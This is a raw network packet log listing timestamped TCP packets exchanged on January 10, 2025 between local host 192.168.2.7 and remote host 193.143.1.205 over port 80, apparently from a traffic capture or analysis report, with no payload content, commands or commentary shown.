Jan 10, 2025 20:48:10.676362038 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.676388025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.676422119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.676424980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.676456928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.676496029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.677189112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.677242994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.677278042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.677282095 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.677313089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.677346945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.677364111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.677380085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.677414894 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.678128004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.678204060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.678237915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.678248882 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.678273916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.678308010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.678311110 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.678343058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.678386927 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.679091930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.679125071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.679160118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.679188013 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.679193020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.679228067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.679230928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.679263115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.679302931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.680316925 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.680335999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.695013046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.695066929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.695101023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.695110083 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.695133924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.695168018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.695169926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.734468937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.734486103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.734500885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.734523058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.734548092 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.734568119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.734589100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.734601021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.734612942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.734626055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.734631062 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.734641075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.734647036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.734653950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.734666109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.734674931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.734713078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.756249905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.756268024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.756282091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.756295919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.756329060 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.756376028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.766832113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.766860008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.766871929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.766884089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.766896963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.766906977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.766927958 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.766940117 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.766963959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.767004967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.767038107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.767045975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.767052889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.767107964 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.767138958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.767152071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.767163038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.767245054 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.787134886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787182093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787190914 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.787219048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787260056 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.787285089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787357092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787391901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787400961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.787425995 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787471056 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.787496090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787530899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787549019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787564993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.787583113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787616968 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787623882 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.787651062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787688017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787688971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.787722111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787755966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787760019 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.787790060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787831068 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.787843943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787895918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787939072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.787950993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.787985086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788017988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788027048 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.788052082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788084984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788096905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.788121939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788155079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788163900 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.788209915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788254023 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.788258076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788314104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788347960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788382053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788383961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.788417101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788431883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.788451910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788486004 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788505077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.788522959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788556099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788589954 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.788606882 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788635015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788650036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.788671017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788712978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.788830042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788892031 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788927078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788934946 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.788959026 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.788979053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789015055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.789024115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789058924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789072990 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.789092064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789124966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789134026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.789159060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789191961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789206028 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.789225101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789257050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789266109 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.789297104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789338112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.789563894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789597988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789632082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789644003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.789664984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789699078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789731979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789758921 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.789771080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.789772987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789783955 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789819956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789829016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.789853096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789886951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789905071 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.789946079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789979935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.789987087 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.790013075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.790047884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.790051937 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.790081978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.790117979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.790127993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.790150881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.790185928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.790190935 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.790505886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.790538073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.790568113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.790571928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.790604115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.790611982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.790637970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.790672064 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.790682077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.790704966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.790739059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.790740967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.790772915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.790806055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.790833950 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.790838957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.790884018 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.790884018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.791243076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.806703091 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.821340084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.821357965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.821378946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.821391106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.821402073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.821407080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.821414948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.821430922 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.821444988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.821459055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.821469069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.821480989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.821480036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.821491957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.821521044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.821521044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.821526051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.821531057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.821542025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.821548939 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.821643114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.843030930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.843072891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.843085051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.843096972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.843108892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.843112946 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.843120098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.843133926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.843143940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.843180895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.853826046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.853878975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.853890896 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.853893042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.853902102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.853921890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.853933096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.853940964 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.853945971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.853970051 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.853986025 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.858078003 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.865442038 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.873883009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.873907089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.873918056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.873935938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.873948097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.873958111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.873970985 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.873972893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.873985052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874011993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.874032021 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.874056101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874128103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874139071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874150991 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874166012 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.874191046 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.874222994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874325037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874331951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874335051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874341011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874353886 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874366045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874380112 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.874423027 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.874448061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874495983 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.874509096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874521017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874536037 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874571085 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.874614000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874654055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.874748945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874762058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874768019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874773979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874779940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874784946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874790907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874797106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874811888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874819994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874824047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874829054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874847889 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.874871969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874888897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874890089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.874902010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874912977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874926090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874933958 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.874941111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874952078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874960899 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.874963999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874978065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.874983072 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.874989986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.875000954 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.875003099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.875013113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.875025034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.875046968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.884557009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.884629965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.884643078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.884653091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.884665966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.884675980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.884681940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.884690046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.884705067 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.884746075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.884744883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.884764910 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.884774923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.884818077 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.884836912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.884854078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.897080898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:48:10.904846907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 20:48:10.904877901 CET	80	49699	193.143.1.205	192.168.2.7
